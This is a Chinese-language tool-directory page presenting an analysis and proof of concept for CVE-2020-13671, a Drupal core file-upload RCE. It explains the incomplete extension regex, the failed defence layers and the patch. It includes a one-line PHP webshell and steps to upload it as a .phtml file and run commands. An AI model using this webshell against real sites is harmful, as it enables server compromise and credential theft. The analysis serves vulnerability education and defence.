Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-13671 — 针对 CVE-2020-13671 的详细分析与概念验证,这是 Drupal 核心中通过文件上传导致的远程代码执行漏洞,涵盖根本原因、利用步骤与修复方案。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2020-13671
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

针对 CVE-2020-13671 的详细分析与概念验证,这是 Drupal 核心中通过文件上传导致的远程代码执行漏洞,涵盖根本原因、利用步骤与修复方案。

查看仓库
3天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-13671

通过文件上传实现 RCE —— Drupal Core

软件: Drupal Core 8.7.5(受影响版本:7.x < 7.78、8.x < 8.8.11、8.9.x < 8.9.9、9.0.x < 9.0.8)
CVSS: 8.8(高危)
CWE: CWE-434 —— 危险类型文件的无限制上传
CISA KEV: 是 —— 已知被利用漏洞
公告: SA-CORE-2020-012


什么是 Drupal

Drupal 是一个用 PHP 编写的开源内容管理系统(CMS),与 WordPress 或 Joomla 类似,但更倾向于构建更复杂的系统——企业网站、多语言平台。Drupal 采用模块化架构,可以通过启用/禁用现有模块或从社区安装额外模块来扩展功能。

任何 CMS 的基本功能之一就是允许用户上传文件——个人头像、附件文档、文章附件。Drupal 将这些文件保存到 sites/default/files/ 目录,并通过 Web 服务器(Apache 或 Nginx)直接对外提供。

⇒ 这构成了一个明显的攻击面:如果攻击者设法将 PHP 文件上传到该目录,Web 服务器收到访问请求时就会执行该文件。

为防止这种情况,Drupal 构建了多层防御:校验文件扩展名、重命名危险文件、放置 .htaccess 以阻止上传目录中的脚本执行。但在 8.7.5 版本中,攻击者恰恰利用了这些防御层之间的盲区。

利用条件

该漏洞需要一个具备文件上传权限的账户。在 Drupal 8.7.5 的默认配置下,普通用户(已认证)只有查看内容和发布评论的权限——没有创建文章或上传文件的权限。

账户是否可利用?说明
管理员是拥有完整的上传权限
编辑 / 内容创建者是如果被授予“创建内容”权限并由管理员开放上传
已认证用户(默认)否默认没有创建内容或上传的权限
匿名用户(未登录)否没有上传权限

然而在实际中,许多 Drupal 站点会向普通用户授予内容创建权限(论坛、社区博客、允许投稿的新闻网站)。在这些情况下,攻击者只需注册一个账户即可利用漏洞。

攻击流程:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

根本原因(ROOT CAUSE)

在文件 core/modules/file/file.module 中,有一个正则表达式用于判断哪些文件被视为可执行文件:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

该正则列出了 7 种扩展名:phar、php、pl、py、cgi、asp、js。任何扩展名匹配该列表的文件都会被 Drupal 自动追加 .txt,从而中和其执行能力。

然而,PHP 引擎并非只处理 .php 文件。根据 Web 服务器的配置,它还会识别并执行其他扩展名:

扩展名含义是否包含在正则中?
.phpPHP 标准是
.phtmlPHP 替代模板否
.php5PHP 5 处理器否
.phtPHP 模板否
.phpsPHP 源码否
.shtml服务器端包含(SSI)否

有 5 个 PHP 扩展名变体完全不在该正则中。这意味着,一个名为 shell.phtml 的文件上传到 Drupal 后 → 正则不匹配 → 不被重命名 → 以原始名称保存到上传目录 → Web 服务器看到 .phtml → 将其作为 PHP 执行 → 攻击者实现 RCE。这就是根本原因:Drupal 使用黑名单来阻止危险扩展名,但该名单并不完整。

各防御层分析

当用户上传文件时,Drupal 会在保存前让文件依次通过 3 个校验函数。下面分析为什么这 3 个函数在处理 .phtml 时全部失效。

第 1 层 — file_munge_filename()(core/includes/file.inc)

目的:检测文件名中间部分的危险扩展名,并通过追加 _ 来破坏它们。函数的工作方式如下:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

例如对于 shell.phtml:

  • explode 将其拆分为 ["shell", "phtml"]
  • shift 取出 "shell",剩余 ["phtml"]
  • pop 取出 "phtml",剩余 []
  • 中间数组为空 → foreach 不执行
  • 原样返回 "shell.phtml"

但是,如果文件只有一个扩展名,该函数不会介入。因此,该函数仅设计用于处理包含多个扩展名的文件。

第 2 层 — FILE_INSECURE_EXTENSION_REGEX(file.module:1015)

这是主要的防御层。第 1015 行的代码如下:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

如果文件名匹配该正则 → 将 MIME 类型改为 text/plain 并在末尾追加 .txt。

对于 shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') 返回 0
  • 未匹配 → 不进入 if 块 → 文件保留原始名称

因此,这部分本应拦截危险文件,但由于正则不知道 .phtml 是危险的,文件便直接溜了过去。

第 3 层 — 上传目录中的 .htaccess

Drupal 会在 sites/default/files/ 目录中放置一个 .htaccess 文件:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

php_flag engine off 指令会关闭整个目录的 PHP 引擎,但它只对 mod_php5 生效。Drupal 8.7.5 运行在 PHP 7 上,这意味着 mod_php7 处于启用状态且未被禁用。

此外,.htaccess 还有另外 3 个弱点:

  • Nginx 不读取 .htaccess — 该文件在 Nginx 上完全无效
  • Apache 配置了 AllowOverride None → .htaccess 会被忽略
  • 使用 PHP-FPM(而非 mod_php)的服务器 → php_flag 指令不生效

漏洞利用

步骤 1 — 创建 webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

步骤 2 — 上传文件

使用具备上传权限的账户登录 Drupal → 内容 → 添加内容 → 文章 → 在 Image(图片)字段中选择文件 webshell.phtml → 上传。

Drupal 接受该文件,不会重命名,并以原始名称保存到 sites/default/files/。

image.png

步骤 3 — 执行 webshell

之后,使用 whoami 执行 shell 调用:

image.png

至此,我们已成功以 www-data 身份实现 RCE。

进一步测试以查看凭据:

image.png

结果

攻击者可以读取包含数据库凭据的 settings.php,导出整个数据库,安装反向 shell,或将权限提升至 root。

修复建议

更新正则表达式 — 添加缺失的 5 种扩展名:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

更新 .htaccess — 增加对 mod_php7 的禁用:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

该补丁有效,但仍依赖黑名单。如果将来出现新的扩展名(如 .php8、.phpt),正则表达式仍需再次更新。白名单方案——仅允许已知安全的扩展名——才是更彻底的修复方式。

总结

漏洞文件core/modules/file/file.module 第 28 行
根本原因正则黑名单缺少 .phtml、.php5、.pht、.phps、.shtml
影响上传 .phtml → 服务器执行 → RCE
被绕过的 3 层防御file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
补丁在正则中添加 5 种扩展名 + 在 .htaccess 中禁用 mod_php7
下载工具